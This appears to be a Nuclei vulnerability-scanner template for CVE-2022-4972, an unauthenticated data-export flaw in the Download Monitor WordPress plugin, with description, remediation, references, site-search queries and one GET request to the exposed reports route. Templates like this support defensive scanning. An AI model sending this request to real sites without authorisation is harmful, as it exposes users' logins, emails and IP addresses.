The Download Monitor plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the reporting REST API routes (download-monitor/v1/user_reports, /download_reports and /user_data) in versions up to, and including, 4.7.51. The routes are registered with a permission callback of __return_true, allowing unauthenticated attackers to export download reports and user data such as download logs, user logins, emails and IP addresses.
id: CVE-2022-4972
info:
name: Download Monitor <= 4.7.51 - Unauthenticated Information Disclosure
author: DhiyaneshDk
severity: high
description: |
The Download Monitor plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the reporting REST API routes (download-monitor/v1/user_reports, /download_reports and /user_data) in versions up to, and including, 4.7.51. The routes are registered with a permission callback of __return_true, allowing unauthenticated attackers to export download reports and user data such as download logs, user logins, emails and IP addresses.
impact: |
Unauthenticated attackers can retrieve download logs and user data that is intended only for administrators.
remediation: |
Update the Download Monitor plugin to version 4.7.52 or later, which adds a nonce (check_ajax_referer) and capability check to the reporting REST routes.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/download-monitor/download-monitor-4751-missing-authorization-to-unauthenticated-data-export
- https://plugins.trac.wordpress.org/changeset?old_path=/download-monitor/tags/4.7.51&new_path=/download-monitor/tags/4.7.52
- https://nvd.nist.gov/vuln/detail/CVE-2022-4972
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-4972
epss-score: 0.0149
epss-percentile: 0.74953
cwe-id: CWE-862
cpe: cpe:2.3:a:wpchill:download_monitor:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: wpchill
product: download_monitor
framework: wordpress
fofa-query: body="/wp-content/plugins/download-monitor/"
publicwww-query: "/wp-content/plugins/download-monitor/"
tags: cve,cve2022,wp,wordpress,wp-plugin,download-monitor,wpchill,unauth,disclosure,missing-auth,vkev
http:
- method: GET
path:
- "{{BaseURL}}/?rest_route=/download-monitor/v1/user_reports"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"logs"'
- '"offset"'
- '"done"'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022100eb0830d28eaa2acb645acff01269c4530b2c79ed80358501753b86aedd4645b402204251b1d4e27afa08bc7530817fb173fa22c807636aac77aeb4dc5e33aacee2cb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.